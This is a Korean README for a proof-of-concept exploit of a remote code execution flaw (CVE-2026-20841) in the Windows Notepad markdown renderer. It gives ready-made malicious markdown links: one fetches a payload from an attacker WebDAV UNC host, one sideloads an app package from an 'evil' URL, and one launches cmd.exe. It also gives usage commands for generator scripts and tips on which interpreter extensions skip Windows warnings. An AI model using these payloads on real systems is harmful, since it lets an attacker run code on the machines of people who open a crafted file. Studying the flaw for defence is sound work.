CVE-2026-20841 - Windows 메모장 RCE

Windows 메모장의 마크다운 렌더러에서 발생하는 원격 코드 실행 취약점에 대한 PoC입니다. 마크다운 엔진이 URL 프로토콜을 제한하지 않아 클릭 가능한 링크를 통해 임의의 프로토콜 핸들러가 트리거될 수 있습니다.

면책 조항

1. 제가 발견한 것이 아닙니다. 공로는 MSRC 권고의 원본 연구자들에게 있습니다. 이는 PoC 재현입니다.
2. 실제보다 낮은 심각도입니다. 대부분의 경우 한 번 이상의 클릭이 필요합니다 (제한 사항 참조). "메모장 RCE"라는 점이 너무 재미있어서 만들었습니다.

공격 벡터

1. 원격 페이로드 (file:///)

[click](file:///\\attacker@5005\DavWWWRoot\payload.py)

file:/// 프로토콜은 원격 UNC 경로를 해석합니다. 페이로드를 링크하면 클릭 시 Windows가 이를 가져와 실행합니다.

2. 앱 사이드로딩 (ms-appinstaller://)

[click](ms-appinstaller://?source=https://evil/xxx.appx)

공격자가 제공한 .appx/.msix 패키지로 앱 설치 관리자를 엽니다.

3. 로컬 바이너리 실행 (file://)

[click](file://C:/windows/system32/cmd.exe)

디스크에 이미 존재하는 모든 실행 파일(cmd.exe, powershell.exe, mshta.exe 등)을 실행합니다.

사용 방법

두 스크립트 모두 현재 디렉터리에 조작된 링크가 포함된 poc.md를 생성합니다.

node poc.js <host> <port> <payload/path>
python poc.py <host> <port> <payload/path>

# 예시
node poc.js 192.168.1.100 5005 hello.py
notepad poc.md

테스트 페이로드는 payloads/에 있습니다.

제한 사항

1. 위험한 확장자는 여전히 플래그가 지정됩니다. .exe, .lnk, .vbs 및 유사한 확장자는 메모장의 동작과 관계없이 Windows 보안 경고를 트리거합니다.
2. 인터프리터 확장자는 경고를 우회합니다. 대상에 Python 또는 Java가 설치된 경우 .py 및 .jar는 조용히 실행됩니다.

참고 사항

• 취약한 메모장 빌드는 Uptodown에 있습니다. 사용 전에 디지털 서명을 확인하세요.
• VM에서만 테스트하세요.

안전하세요!